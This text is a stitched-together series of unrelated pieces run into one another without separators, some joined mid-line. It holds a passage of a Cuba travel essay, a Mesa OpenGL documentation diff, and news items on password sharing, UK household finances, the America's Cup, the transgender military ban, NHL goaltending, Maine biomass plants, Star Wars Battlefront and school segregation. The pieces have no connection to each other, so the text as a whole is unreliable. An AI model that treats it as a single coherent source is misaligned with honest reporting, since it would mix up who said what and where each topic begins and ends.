We noticed a small shrine on the corner of the patio, a wooden box standing on its end, the open side facing outward, with dolls, a bowl of coins, and an egg on a tray arranged inside. There was a cigar and a small wooden cross on top, and a chalk circle drawn on the concrete in front of it, around markings of arrows and skulls. Luis explained that he practised a syncretic faith called Palo Monte, a common Afro-Cuban religion similar to Santeria. We mentioned that it was the only shrine we’d seen. Everyone has them, he replied, but he didn’t bother hiding his. He gave us a business card with the name and address of the paladar, the only one of those we saw as well. Amid Cuba’s current evolution, Luis was more concerned with positioning his modest business for the next phase than with keeping it from the authorities in the last days of this one.
“In Cuba,” he told us, “today is today. A hoy es hoy. Mañana is another time.”
He served us a variation on the mojito, using basil leaves instead of mint. He called it an alto del mar—“above the sea,” also the name of his paladar—and it was the best drink I had in Cuba. Dinner was whole fried fish garnished with the only red pepper we saw in Santiago, and a delicate creole sauce that was several steps above the licensed paladares’ offerings in its refinement. When I asked for the bill, he brought me a scrap of paper with “$14.00” written on it. I gave him CUC $20, under-tipping for one of the most memorable meals I’ve eaten anywhere.
Luis’s place was just a couple of blocks from the Museum of the Clandestine Struggle, which we visited a few days later. It was a shrine of another sort, its glass cases containing carefully preserved bloodstained suits and Molotov cocktails from the guerilla street war fought block by block in Santiago for years ahead of Fidel’s return from exile, testimony to the long-standing Santiagueran tradition of defiance.
Outside, we stopped to watch three teenagers playing an impromptu stickball game in the street. They had a broom handle for a bat, and they were hammering some kind of makeshift ball off the surrounding buildings with such authority it took a while to realize it wasn’t even round. It was an empty pill bottle. I had a sudden, sick flashback to our visit to the Walmart in Antigonish and the “baseballs” entry on my shopping list. I’d searched the sporting goods section for baseballs, but in December in Nova Scotia there weren’t any. I’d had a sleeve of tennis balls in my hand at one point but had put them back. With a staggering lack of perspective, guided by some deranged sense of propriety, I’d thought to myself that Cubans were world-class ballplayers who surely honed their batting skills using a properly weighted baseball. Now, though, it was the grandest of my under-tips: the one not given.
The Brisas Sierra Mar is a slightly dishevelled three-star resort sixty-five kilometres down the coast from Santiago, a drive that takes nearly three hours along the craziest lunar-landscaped road I’ve ever encountered. The hotel is a standard-issue all-inclusive: a pool with a swim-up bar, a few restaurants and lounges, an open-air amphitheatre for nightly cultural shows, a dive shop, a beach that was really something before Hurricane Dennis reduced it to a thin strip of sand in 2005. The clientele was at least three-quarters Canadian when we arrived, a significant number of them repeat visitors who came yearly or even more often, and they lent the place a friendly summer camp vibe. The package tour operators near the front desk all kept binders full of details on excursions, and every one of them described a Cuba beyond the gates where dangerous con artists lurked on every corner; the binders all warned against any unaccompanied travel whatsoever outside the resort.
We had come to Brisas Sierra Mar to dive. The divemaster was a soft-spoken, sharp-witted family man named Edgar. We were the only divers who’d never visited the resort before, and everyone else on our excursion asked after his family. His daughters had been sick, he said, with a pointed shrug that suggested illness could go further south in Cuba than you really wanted to talk about.
Cuba’s coral reefs are currently rife with lionfish, stunning creatures with brilliant black and orange stripes and a broad mane of poisonous antennae protruding from their fins. Native to the South Pacific, they are an invasive species in the Caribbean that feasts on defenceless hatchlings up and down the reefs. Edgar brought a speargun on most dives to take out as many as he could, and so one of the great spectator sports was watching the divemaster hunt lionfish. One day, he filleted a few of them back at the dive shop, expertly slicing away the venom-tipped fins using a pair of spears as an Asian cook wields chopsticks. The chef at the beachfront restaurant breaded and deep-fried the fillets for us and served them with fries: lionfish and chips, easily the most memorable meal at the Brisas during our stay.
The morning we left, I headed down to the dive shop with a plastic shopping bag stuffed with gifts for Edgar: a big bath towel, a binder and a children’s notebook with a tiger on the cover that our daughter had picked out, plus bottles of ibuprofen, Dramamine, and a children’s anti-nausea medication called Nauzene. Edgar had called in sick that morning, but the caretaker at the shop said I could leave the bag in his office. I went in, set it down under Edgar’s desk, and then hesitated: what if someone else took it? There was no record of it, of course, no way to guarantee Edgar and his sick daughters would get it. I was invested, I realized, in the arbitrary personal connection. I wanted Edgar to know I was looking out for him. This is often the way of gift giving in Cuba—it’s not enough to be the colonial master of the exotic treasures, dispensing them with a sovereign’s whim. Even in the act of charity, we want tribute. We want to take a little gratitude home with us.
I left the bag in Edgar’s office, knowing that whoever wound up with its contents, their value would be immediately understood and cherished. The stuff would be used and reused, used up, exhausted of its value, and then repurposed. An empty econo-sized ibuprofen bottle would, after all, make a serviceable baseball.
I wasn’t ready for the condition of Antonio’s home. There are more flattering ways to say it, but at the end of the tour in Santiago when he invited us back, it was so much worse than I expected. I was imagining something like the places that lined the streets on our meanderings around the city: tidy concrete bungalows, cramped but homey spaces like Luis’s place.
Antonio led us down an alleyway in a densely populated neighbourhood near the photo studio. There were jumbles of concrete piled atop one another in behind the homes you could see from the street, places filigreed with rusted rebar and roofed in salvaged tin. Antonio lived with his young wife in one of them, which was stacked on top of the slightly larger concrete slab where his mother and sister lived. The entry was up a rickety flight of repurposed wooden stairs. There were two rooms: a front living area with a sink in one corner piled with dirty dishes, and a larger back room with a mattress on the floor. There was a Chinese boom box in the front room with one of those outsize, blinking blue-green displays, and a poster of a Dutch league soccer team tacked to the wall above it. It was a makeshift place, a slum dwelling.
Antonio had had his friend drive us all over town in an ancient Soviet-made automobile mostly held together by force of will. We’d passed grand colonial mansions—“the houses of the people in Miami,” Antonio explained—that now housed educational facilities and cultural centres. He’d taken us to an Afro-Cuban cultural centre and museum that we’d never have found otherwise. On the way to the Spanish fort outside town, we’d pulled off the road and waited while he ran to the stoop of a bungalow to procure two bottles of rum with legendary Matusalem labels. No one has made rum under the name of Matusalem in Santiago since Fidel nationalized the distillery, but it was premium stuff for the discount price of CUC $10 per bottle. He’d known just the right restaurant, an unsanctioned paladar that turned out delectable grilled lobster. Throughout, Antonio was personable, forthcoming, full of information and generous with it. He was bilingual, literate, and quick witted. His needs were obvious, unmistakable.
I forgot all that. That he was achingly poor, and I impossibly rich. That his madly uncertain future was riding on how many CUCs he had when the Special Period’s precarious economic dance stopped and rendered them as worthless as Ostmarks. In the instant he took the ten-peso note from my hand, I was simply a colonial officer standing before him, momentarily indignant. There had been gifts, and there would be more, and how dare he presume to decide when and where and how they were to be bestowed?
That’s the real value of ten convertible pesos: under the right circumstances, it will show you exactly who you are in Cuba. You might not like what you see, |
entirely new either. Earlier this year, Amazon released the Dash Button, a small $5 device that can order a specific product from the retailer and have it delivered with just a single button press.It’s no secret that young people like to consume entertainment they don’t necessarily pay for.
But when business and tech types talk about this reality, they tend to use neutral or even flattering language: Millennials, they say, like to “swap” files and “share” subscription passwords. After all, super-earnest, bike-commuting, coffee-sipping twenty-somethings don’t look like dangerous criminals. And let’s face it, no business wants to alienate the work-force’s largest generational cohort, with billions, if not trillions, worth of spending ahead of it.
But now some Wall Street analysts have decided to come right out and use another S word—steal—in discussing the problems facing some traditional media enterprises.
“The millennials are a generation that grew up (and will likely grow old) ‘sharing’ (read stealing) passwords for access to content if it continues to be ignored,” wrote analysts Mike McCormack, Scott Goldman, and Tudor Mustata in a note to clients Tuesday. “We believe it is the most significant cause of the declining pay TV subscriber base.”
Read Next: How to Watch All the TV You Want Without Paying for Cable
The problem, the analysts suggest, is that all this sharing/stealing could quickly destroy the cable TV business. That’s hardly a far-fetched argument. Similar trends have already gutted the music and news industries.
The Jefferies analysts argue password sharing is already “the most significant cause of the declining pay TV subscriber base.” They compare the current situation to a time when people jury-rigged access to cable with “illegal cable drops, third-party set tops and reprogrammed satellite cards.” Revenues returned only when the industry cracked down.
Of course, no one likes to be called a crook. Millennials might counter that the situation isn’t totally black and white. The music industry has evolved. And sharing streaming TV passwords isn’t clearly against the rules. Passwords for the streaming service HBO Now, for instance, are limited to a household, but the company has been vague (presumably on purpose) about what that means. Netflix, Amazon, and others all have policies that similarly attempt to both acknowledge and limit sharing.
Read Next: The Real Rules for Sharing Passwords for HBO Now, Netflix, Amazon, and Hulu
The solution? The analysts call for companies to adopt tougher rules with emphasis on “authentication limits”—essentially limits on how many people can use a log in at the same time, which some sites like Netflix and Hulu already employ. But they also acknowledge the scope of the problem—and the fact that, let’s face it, it’s not just millennials. “It is difficult to meet someone (of any age demo) that hasn’t used or allowed another to use content passwords,” they lament.
Read Next: Netflix Is Getting More Expensiveindex 3febd6e..6214f8d 100644
--- a/
+++ b/ diff --git a/docs/GL3.txt b/docs/GL3.txtindex 3febd6e..6214f8d 100644--- a/ docs/GL3.txt +++ b/ docs/GL3.txt @@ -167,7 +167,7 @@ GL 4.3, GLSL 4.30: GL_ARB_arrays_of_arrays DONE (all drivers that support GLSL 1.30) GL_ARB_ES3_compatibility DONE (all drivers that support GLSL 3.30) GL_ARB_clear_buffer_object DONE (all drivers) - GL_ARB_compute_shader DONE (i965) + GL_ARB_compute_shader DONE (i965, radeonsi) GL_ARB_copy_image DONE (i965, nv50, nvc0, r600, radeonsi) GL_KHR_debug DONE (all drivers) GL_ARB_explicit_uniform_location DONE (all drivers that support GLSL) @@ -225,7 +225,7 @@ GL 4.5, GLSL 4.50: These are the extensions cherry-picked to make GLES 3.1 GLES3.1, GLSL ES 3.1 GL_ARB_arrays_of_arrays DONE (all drivers that support GLSL 1.30) - GL_ARB_compute_shader DONE (i965) + GL_ARB_compute_shader DONE (i965, radeonsi) GL_ARB_draw_indirect DONE (i965, nvc0, r600, radeonsi, llvmpipe, softpipe) GL_ARB_explicit_uniform_location DONE (all drivers that support GLSL) GL_ARB_framebuffer_no_attachments DONE (i965, nvc0, r600, radeonsi, softpipe)REUTERS/Neil Hall LONDON — British consumers reported the biggest squeeze on the amount of cash they have available to spend in more than two and a half years in April, according to a new survey from IHS Markit released on Wednesday.
Markit's Household Finance Index (HFI) — less closely watched than its monthly PMI surveys, but still widely respected — asks regular Brits to say how they feel their financial position is each month with the aim of anticipating changing consumer behaviour.
April's reading for the HFI was 42.5, down sharply from the 43.1 reading seen in March, and "one of the lowest readings seen since the summer of 2014." A score of 50 equals "no change." The new numbers suggest people feel their personal finances are getting worse. That's a worrying signal about the impact economic uncertainty surrounding Brexit is having on British consumers.
So far Britain's economy has defied economists' forecasts and proven robust in the months since the June referendum, but as time goes by the effects of the referendum are starting to take their toll.
The most obvious impact so far is inflation, which has surged above 2% for the first time since mid-2014, reflecting the drastic fall in the value of the pound since June 2016. Inflation's increase is starting to make UK households feel poorer, and Markit's survey puts it in stark terms:
"A sharp and accelerated squeeze on financial well-being was largely driven by renewed pressures on cash available to spend, which dropped at the fastest pace since August 2014. This reflected a combination of strong rises in living costs and subdued pay growth so far in 2017."
And here is the chart showing that squeeze as part of the longer-term trend:
IHS Markit
Rising inflation's impact on the finances of normal Brits is made worse by the fact that average earnings grew just 2.2% in the three months up to February, compared to the same three months a year before. Accounting for inflation — which came in at 2.3% at the latest reading — real wage growth is actually falling in the UK for the first time since 2014.
Not only does Markit's survey suggest that Brits have less cash to spend, Tim Moore, one of IHS Markit's senior economists, notes that British households see their future financial outlook as the worst it has been for close to three years.
"April's survey data reveals that pressures on UK household finances have returned to levels last seen in the summer of 2014, as rising inflation and subdued pay growth have created a renewed squeeze on cash available to spend," Moore said.
"Households are also more worried about their financial outlook than at almost any other time in past three years."New Zealand became the first crew from a country outside the United States to win and successfully defend the America's Cup in 1995 and 2000
35th America's Cup in Bermuda America's Cup: 17-18 & 24-27 June. Race coverage: Watch highlights on BBC Two, Red Button, Connected TVs, online and BBC Sport app from 11 June.
Ben Ainslie's Great Britain are out of the America's Cup after New Zealand earned a 5-2 semi-final win.
Leading 3-1 overnight in the best-of-nine contest, New Zealand won the first of Thursday's three scheduled races to take them to the brink.
And although Britain won the next race, New Zealand took the third.
"Three and a half years ago a few of us were sitting around a table in London - what we have we have achieved is incredible," said Ainslie.
"I was really proud of the way the team sailed today. We will be back next time and we will be stronger."
Media playback is not supported on this device Despite the capsize NZ took a 3-1 lead into the third day of racing
It was a victory to savour for New Zealand after their catamaran capsized during racing in high winds on Tuesday.
After Wednesday's races were postponed because of high winds, New Zealand made a strong comeback to go 4-1 up on Thursday.
Great Britain had a 26-second lead at the first mark before their opponents came back to secure a 31-second victory.
Britain managed to hang on with a near-perfect win in the next race after getting off to a strong start and, this time, maintaining their lead and matching their opponents for speed.
However, New Zealand's class shone through as they put Tuesday's troubles behind them.
"We struggled coming into this with a lack of speed but everyone has dug so deep to get us more competitive," added Ainslie.
The Kiwis will take on Sweden or Japan in the play-off final. Sweden need just one more win after a dramatic comeback.
They trailed Japan 3-1 at the start of the day but won all three races on Thursday to take a 4-3 lead.
Media playback is not supported on this device America's Cup - all you need to know
Analysis - 'Hugs, tears and cheers'
BBC Sport's Tony Husband in Bermuda:
There were hugs, tears and cheers as Great Britain sailed back into the dockyard for the final time. They were facing up to the realisation that this 21st British challenge for the 'Auld Mug' had gone the same way as the others.
Britain's wait to bring sport's oldest trophy home goes on for at least another two years. Amid the despondency, there was a positive message from Ben Ainslie.
The man on whom so much rested certainly isn't the type to hide. He strode up to BBC Sport to give his first interview, despite the obvious pain that this deeply personal challenge had failed only minutes before.
"We will be back," was the emphatic message. In reality, he had probably known this moment was coming for a while.
Great Britain lost two points on the first day of racing when they had a problem with their wing
Since the high of winning the World Series pre-qualifying event, it's been evident that the British bid was behind its rivals. Boat speed and control was often cited as an issue; practice races hadn't been encouraging.
They were also inconsistent throughout this regatta. Ainslie had proved almost unbeatable in the starts, but too often their rivals would reel them in.
The Kiwis are the strongest challenger, and despite dropping one race to Great Britain on Thursday, they showed no outward scars after Tuesday's dramatic capsize.
The inquest will be thorough and probably painful for Britain, but Ainslie seems far from done with the America's Cup.
What happens next?
Holders Oracle Team USA await the winners of the challenger final in the America's Cup.
The first to seven points wins the America's Cup, or the Auld Mug as the trophy is known, with a possible 13 races to be sailed on 17-18 and 24-27 June.
The America's Cup, the oldest competition in international sport, was first raced in 1851 around the Isle of Wight and has only been won by four nations.Press Release
Federal Legislation & Policy NCLR Responds to Inaccurate Reports that Secretary Mattis Has Halted Trump’s Transgender Military Ban
National Center for Lesbian Rights (NCLR) Legal Director Shannon Minter issued the following statement in response to suggestions that Secretary Mattis exercised discretion to halt Trump’s transgender military ban:
“Secretary Mattis did not make a decision to ‘buy time’ or to ‘freeze’ the current policy. The President’s August 25, 2017 Memorandum expressly provides that the new ban does not go into effect until March 23, 2018 and expressly states that no one can be discharged for being transgender in the meantime. There is nothing new at all here, and suggesting otherwise is terribly misleading.
This inaccurate reporting is playing into a patently bogus strategy to make it appear that there is going to be some new ‘study’ that will legitimate what is already a forgone conclusion: the discriminatory banning of military service by transgender people, based on a characteristic that has no bearing on their fitness to serve. The August 25 Memorandum is perfectly clear: President Trump has ordered the military to ban transgender people from serving. That ban will go into effect in about 7 months, on March 23.
That appalling decision is not (and cannot possibly be, given its timing) based on any hastily assembled, post hoc ‘study’ that is being cooked up now in a transparent effort to provide a retroactive fig leaf for the President’s bigotry. This order is an act of pure animus toward transgender people. The military spent two years carefully reviewing all of the relevant evidence on this issue and concluded that there is no reason to exclude transgender people from military service. The cost of inclusion is literally negligible, and there is no evidence that permitting open service will have any negative impact on military readiness. The notion that there is any good faith ‘study’ being conducted is a blatant pretext for unmitigated, vicious, baseless discrimination.
More than ever, we need reporters not to fall prey to false information that is being used to set up an attempted cover for one of the most shocking acts of official discrimination the transgender community has ever experienced.
There is no new ‘freeze.’ This is just what the August 25 Memorandum ordered—along with a permanent ban on enlistment, effective now, and a new ban on open service, effective on March 23, 2018.”With the 2015-16 regular season winding down and a playoff spot out of reach, a feel-good 2014-15 campaign that saw the Calgary Flames advance to the second round is a distant memory for the struggling team.
“It’s going to be a long summer. An awfully long summer,” Flames head coach Bob Hartley told reporters in Toronto Monday. “No one will say they’re proud about our season.”
With a strong blue-line and a number of talented, young forwards to build around, the future’s not all doom and gloom for the Flames. However, when it comes to stopping pucks, things couldn’t be much worse for a Flames team that ranks ninth in goals for per game but dead last in goals against.
It’s no secret why Flames general manger Brad Treliving recently said finding a starting goalie is “priority No. 1 – no ifs, ands or buts.”
Current Flames netminders Jonas Hiller, Karri Ramo and Niklas Backstrom likely won’t be back with the team next year and it doesn’t appear as though Joni Ortio is ready to be a starter, which puts the Flames in a desperate situation heading into next season.
Pending unrestricted free agents expected to hit the open market July 1 include James Reimer and Cam Ward, so the Flames could attempt to go down that road if they desired. On the other hand, trading for a starter might be the optimal scenario.
And with an expansion draft potentially looming, it could force the hand of several teams since each NHL team will only be able to protect one goalie. This could benefit the Flames.
“Their search got a little bit easier with the announcement of those rules because I do believe we’ll see movement directly tied to it this summer,” Sportsnet’s Chris Johnston told Sportsnet 960 The Fan Monday.
Anaheim is one of those teams since the Ducks have John Gibson and Frederik Andersen. If they can only protect one of these netminders, it has been speculated they may consider trading the other in preparation for an expansion draft in order to get something in return for the asset.
“Freddy Andersen, to me, makes a lot of sense [for the Flames] because he’s still relatively young in the league,” Johnston explained. “I guess the problem is similar to what they had to do with Dougie Hamilton. You’re going to trade for him and give up assets and you’re going to have to give him a fair-sized contract before he’s even played a game for you or done anything positive. If you can secure that position, clearly it would be a big help. It would’ve been a big help to Calgary this year.”
Johnston also speculated that Marc-Andre Fleury of the Pittsburgh Penguins and Tampa Bay Lightning goalie Ben Bishop could potentially be available in a trade. The Penguins have Matt Murray waiting in the wings, while Andrei Vasilevskiy appears to have all the tools to be an excellent successor to Bishop whose contract expires in 2017.
As mentioned above, the Flames have many quality pieces to build around. They’ll also have a high pick in this summer’s draft. In fact, the Flames currently have a 7.5 per cent chance at landing the first-overall pick. Those odds will fluctuate over the final 10 games of the season but it’s not outlandish to think they could end up with a top-three pick.
For fun I decided to give the ultra popular 2016 NHL Draft Lottery Simulator a whirl and here’s what the result was on the very first try. Just sayin’…
The present-day Flames have been a disappointment but regardless of where they end up picking in the draft the future can be bright and a quick turnaround is possible. They just need to sort out their crease conundrum.Low fossil fuel prices and shifting government energy policies have combined to threaten the future of Maine’s wood energy industry, along with hundreds of logging and trucking jobs that supply the state’s biomass power plants and pellet mills.
Maine is a national leader in renewable energy, and its vast forests provide low-grade wood that generates more than a quarter of the state’s electricity. But Maine’s free-standing biomass plants can’t run profitably without favorable wholesale electricity prices and state laws that offer above-market rates for renewable power. Today, both of those supports are eroding.
Related Headlines Wood pellet businesses ail as demand plummets David Ettinger of ReEnergy inside its Livermore Falls biomass plant. Whitney Hayward/Staff Photographer A semi filled with wood biomass fuel is tipped and unloaded at ReEnergy biomass plant in Livermore Falls. (Whitney Hayward/Staff Photographer) LIVERMORE FALLS, ME - JANUARY 26: A line of semi trucks carrying wood biomass fuel outside the ReEnergy biomass plant in Livermore Falls, ME on Tuesday, January 26, 2016. Photo by Whitney Hayward/Staff Photographer) BRUNSWICK, ME - JANUARY 26: Maine Custom Woodlands owner Tom Cushman in Brunswick, ME on Tuesday, January 26, 2016. Photo by Whitney Hayward/Staff Photographer)
Wood energy is being hit from two directions. One blow is coming from a glut of domestic natural gas, used to generate half of New England electricity, which has lowered rates. It’s great news for utility customers, and it’s providing a new option for pulp and paper mills connected to Maine’s expanding natural gas pipelines. But it’s bad for biomass power.
At the same time, more stringent policies for renewable energy in Massachusetts and Connecticut, where most of Maine’s biomass power is sold, are making less-efficient plants ineligible for crucial rate subsidies.
These changes are taking place as collapsing petroleum prices have sent heating oil to its lowest levels in 12 years. That has led many homeowners with pellet stoves to turn up the oil heat, which today is cheaper than burning pellets. Lack of demand, compounded by the mild winter, led the state’s four pellet mills in January to either stop production or cut way back.
Related Wood pellet business going up in smoke
“If the pellet mills go down, and the biomass burners go down and the pulp mills switch over to natural gas, then the woods business is in trouble,” said Bob Linkletter, president of the Linkletter & Sons logging company, as well as the Maine Wood Pellet Co. in Athens. “We’re all interconnected, one way or another. We all use each other’s waste to make a product, to use 100 percent of the tree.”
Those connections already are starting to unravel.
The owner of two biomass plants in West Enfield and Jonesboro, Covanta Energy, said last month it would shut them in March. The four ReEnergy Holdings plants in Livermore Falls, Stratton, Ashland and Fort Fairfield, could follow in 2018. Together, the six plants directly employ 148 workers.
But those jobs represent only a small fraction of what’s at stake.
The six biomass plants spend a total of $115 million a year to purchase 2.5 million tons of low-grade wood that’s harvested and delivered by 900 loggers, truck drivers and other workers. If the plants close, many of these residents who live in job-starved rural communities could be looking for work.
Losing the biomass plants would have a ripple effect on Maine’s forest products industry, which already is shrinking as paper mills close or lay off workers.
The biomass plants provide a crucial market for thousands of tons of sawdust generated by Maine’s sawmills. So do the pellet mills, such as Linkletter’s Maine Pellet Co. plant, which halted production in mid-January. Losing these markets would create a giant waste disposal problem and deprive the sawmills of a source of income that can represent the difference between profit and loss.
The pending crisis has put pressure on Maine lawmakers and Gov. Paul LePage to do something to stem likely job losses this spring, when muddy ground ends the seasonal scramble to get fiber out of the woods. Politicians may face a difficult choice: Ask electric ratepayers to prop up biomass power, or risk losing hundreds of jobs and millions of dollars in investment.
CLOSELY LINKED: BIOMASS, SAWMILLS AND LOGGING
The link between the biomass plants, sawmills and the logging industry could be seen in late January outside the ReEnergy Holdings biomass plant in Livermore Falls.
Ten tractor-trailers were lined up on a chilly morning, each filled with roughly 30 tons of wood chips. More than 75 trucks were due to arrive before dark. The drivers were waiting their turn to dump wood thinned from forests all over central and western Maine.
Inside the gate, the trucks backed onto large platforms that tip the trailers up to empty the chips onto a conveyor and move them to a 50,000-ton stockpile. The fuel eventually will be sent to fire a 39-megawatt generator, capable of lighting 37,000 homes. Five days a week, a similar scene is playing out at Maine’s other biomass plants, which together can generate enough power for 200,000 homes.
The wood taken to the ReEnergy plants is cut to Sustainable Forestry Initiative standards, a third-party certification program that requires loggers to use best forest management practices. Much of the wood comes from logging contractors such as Tom Cushman, a Master Logger and owner of Maine Custom Woodlands in Durham.
In late January, Cushman was thinning a 75-acre woodland properly in Brunswick. To the untrained eye, the wood yard looked like a tangle of tree trunks and branches. But using a grapple crane, Cushman had organized the work area into market categories that illustrated the diversity and value of Maine’s woodlands.
One stack of birch and maple logs would be trucked to a mill in West Paris and turned into hardwood chips for the Catalyst Paper Co. mill in Rumford. Other stacks would be cut and split for firewood. A stack of pine logs would go to the Hancock Lumber sawmill in Bethel. Until last year, pine tops unsuitable for lumber became pulp for the Verso paper mill in Jay. But Verso shut down that part of the mill operation last year, prior to filing for bankruptcy protection in January. With the higher-value pulpwood market gone, the softwood is going to biomass plants.
Cushman also created small mountains of branches and limbs. It has no market value other than biomass.
“Small landowners want the tops of the trees chipped,” he said. “They don’t want piles of brush out in the woods. They want a clean job.”
Operating the crane, Cushman grabbed 40-foot-long trees and fed them into a powerful chipper, which spit 68,000 pounds of chips into a box trailer in roughly 20 minutes. Ten times a day, a full truck left Brunswick for the 60-mile trip to ReEnergy in Livermore Falls. Cushman estimated that he hauls 1,500 tons a week to the power plant.
Cushman has 21 employees and was working with a crew of nine people to harvest the Brunswick woodlot. Operators and drivers are paid $50,000 or more a year. His company buys diesel fuel, tires and other equipment to keep the trucks and logging machinery moving.
“We support 21 families,” he said. “That’s a big deal. I take it really seriously.”
The threat to the biomass plants has Cushman worried. Culling and trucking biomass, he said, represents half his income.
“I don’t know that I’d be in business any longer without biomass,” he said.
SAWMILL WASTE ISN’T WASTED
Business also is threatened at the PalletOne/Isaacson Lumber Co. sawmill in Livermore Falls.
The recovering national economy has created a high demand for pallets, on which many products move. The pallet mill now has 160 workers who earn more than $40,000, plus benefits, according to Donnie Isaacson, the vice president. He sources hardwood logs from as far away as Millinocket and Kittery.
But as production grows, so does wood waste. The mill generates 40,000 tons a year of bark and sawdust and 20,000 tons of wood chips. The chips are sold to the Verso paper mill in Jay and the Sappi paper mill near Skowhegan. Most of the bark and sawdust go to the ReEnergy biomass plant, where they are worth $20 a ton.
“If there was no biomass, the sawmill industry in the state would be in big trouble,” Isaacson said. “Beyond a place to get rid of tons of waste wood, it has a huge value. It’s the difference between profit and loss.”
Isaacson said he is hopeful that state officials will see the value of the wood energy industry and take steps to help save it.
“I think the government has to get involved,” Isaacson said. “There are a lot of jobs at stake here.”
HIGH OIL PRICES FED BIOMASS DRIVE
In calling for government help, Isaacson is aware that Maine’s biomass plants are a creation of government.
They exist because of federal and state laws passed during the late 1970s and early 1980s, when high-priced imported oil was killing the economy. The laws ordered utilities to buy a share of their electricity from renewable energy plants, and allowed them to pay a higher rate. Eleven biomass plants were built in Maine.
But when oil prices unexpectedly crashed in the 1990s, utility customers were saddled with millions of dollars in above-market power costs. The outcry led utility regulators to reverse course and order power companies to buy out the highest-priced contracts. The process led several biomass plants to close, although some later opened again under new ownership.
In Ashland, the sister plant of the one in Livermore Falls was shut in 2011, but came back on line when ReEnergy bought it from a previous owner in 2014. The Ashland plant is located in a complementary cluster of forest products businesses – a sawmill, a pellet producer and a shingle maker. Less than 18 months ago, politicians came to praise the development, including LePage, who symbolically flipped a switch on a signboard bearing his economic development slogan: “Open for business.”
Now LePage and other Maine policymakers will have to decide how to keep Maine’s biomass plants open for business.
The first priority is the two Covanta plants in West Enfield and Jonesboro. They rely on Renewable Energy Certificates that make up roughly half the generating income they receive from Massachusetts utilities. But as of last month, the 29-year-old plants don’t qualify for the certificates under new efficiency and wood harvesting standards. Meanwhile, low wholesale electric prices have undermined the plant’s second source of income.
“The bottom line is that the cost of energy is really low and it’s not sufficient to cover the cost of operation,” said James Regan, a Covanta spokesman.
Forty-four people work at the two plants, which are supplied by roughly 200 loggers and truckers.
Regan declined to specify exactly what would be needed to keep the plants open past March.
“It’s hard to say,” he said. “This happens with some frequency in the biomass industry. I know people are advocating for us and hopefully something can be done.”
The four other biomass plants, owned by ReEnergy, rely on above-market rates in Connecticut, which is in the process of changing its renewable energy rules. One proposal is to phase out older biomass plants to create incentives for newer, cleaner renewable generators.
“We may face a similar issue as Covanta in 2018,” said Sarah Boggess, a ReEnergy spokeswoman.
To head that off, Boggess, members of the Professional Logging Contractors of Maine and other wood energy advocates have been in talks with the LePage administration and legislators. They have prepared a fact sheet estimating 1,300 jobs are linked to the six plants, with each plant creating between $10 million and $20 million in economic activity. On top of that, the plants generate 300 megawatts of power from renewable energy and promote sustainable forestry.
The industry has outlined a handful of general actions that Maine could take to help save the plants, including setting up power purchase agreements with consumers and asking the Maine Public Utilities Commission to require or encourage biomass contracts up to a certain percentage of the state’s energy load.
It’s not clear how LePage will react to these concepts.
On one hand, the governor has long been critical of any policies that raise electric rates, arguing that they make Maine less competitive for business. At the same time, he has been unable to prevent the forest products industry from shedding hundreds of jobs, as paper mills shut down in East Millinocket, Bucksport, Lincoln and Old Town.
In his State of the State letter this month, LePage sent a mixed message about biomass. Criticizing “socialists” for subsidizing wind and solar power, he voiced support for wood energy and the jobs associated with it.
“Let’s help our economy and all Mainers,” the governor wrote, “rather than artificially limiting sources of inexpensive energy.”
Asked to explain the governor’s comments, Patrick Woodcock, LePage’s energy director, stopped short of saying that LePage would acquiesce to above-market energy contracts, but that the concept of long-term contracts approved by the PUC is on the table.
“We’re open to discussing that,” Woodcock said. “We’re looking at a policy that makes sense for the biomass industry and the ratepayers.”
Weighing benefits should include economic impact, not just electric rates, according to Rep. Jeff McCabe, D-Skowhegan. McCabe is the House majority leader and has two paper mills in his district – the Sappi mill and Madison Paper Industries, which announced last month that it was cutting its production schedule.
“We need to have a discussion about the benefits of home-grown energy,” McCabe said. “We spend a lot of time talking about Canadian power and natural gas, and here we have Maine-based power and we should be doing all we can.”
ShareToday, May 4, is Star Wars Day. Electronic Arts is celebrating the occasion with a number of bonuses for its catalog of Star Wars games, one of which is free credits for DICE's Star Wars Battlefront.
As announced previously, all you have to do is log into the game anytime today and you will receive an allotment of 4,444 credits. A new Hutt Contract is also available; this is a new feature announced in March that gives players the chance to pay credits and then complete bounties to earn rewards. In this case, spending between 3500 and 8000 credits unlocks new bounties that will let you get your hands on the Bacta Bomb Star Card. This gives a health boost to you and your teammates.
Additionally, EA is offering free access to Battlefront on PC in the form of a four-hour trial. You'll be able to grab the game from Origin beginning at 11 AM PST and try it out, but you won't have access to any of the DLC that's currently available.
In other news about Battlefront, DICE has deployed the game's latest update; the full patch notes can be seen here.
Outside of Battlefront, there are bonuses and new content available for Star Wars: The Old Republic and Star Wars: Galaxy of Heroes. You can check out this post for a full roundup of EA's Star Wars Day plans.Image caption The study examined how white and ethnic minority pupils are spread within the school system
A study of ethnic "segregation" in schools in England shows 61% of ethnic minority pupils enter schools where ethnic minority pupils are a majority.
Of pupils classified as "white British", 94% are in schools with a white British majority.
Researchers say schools are more segregated than their local areas.
"We would hope for a much greater level of integration for students," said Richard Norrie from the Demos think tank which published the report.
The analysis from the Demos Integration Hub and Simon Burgess of the University of Bristol looks at how white and ethnic minority pupils are spread within schools.
Most segregation
It shows patterns of pupils being more likely to be taught with pupils from a similar background - in a way that does not always reflect local populations.
In London, about 26% of pupils are white British, but 49% of these children are in schools with a white British majority.
Image caption Trevor Phillips says this is "not a story of terrible racial hostility"
Children from Bangladeshi, Pakistani and black Caribbean communities are also disproportionately likely to be at school with children from the same ethnic background.
About a third of pupils in primary school are now from ethnic minorities, but this study shows that below this average there are very wide regional differences.
In seven local authorities in London, there are no white British pupils in a school with a white British majority. While in 71 authorities across England, there are no ethnic minority pupils in schools where they are in a majority.
The study examines where there is greatest segregation, in terms of how dissimilar school intakes are to local populations.
The top 10 authorities with the highest levels of segregation are mostly in the North and Midlands: Blackburn with Darwen, Birmingham, Haringey, Bradford, Rochdale, Kirklees, Leicester, Oldham, Rotherham, and Manchester.
The study does not examine why or how such segregation takes place, on a local or national level, but it says that research shows that this is not simply a reflection of where people live.
It points to research that "schools were more segregated than the local neighbourhoods that they served".
'Unconscious choices'
Trevor Phillips, chairman of the Mapping Integration Project at Demos and former head of the Commission for Racial Equality, speaking on BBC Radio 4's Today programme, said this was "not a story of terrible racial hostility".
Image copyright PA Image caption Sir Michael Wilshaw said white working-class families needed greater access to good schools
Instead, he said, it reflected demographic shifts and a pattern of the individual, localised choices of parents about where they and their children would feel "comfortable".
"Most families unconsciously make a choice which tends to line up with their own racial background," said Mr Phillips.
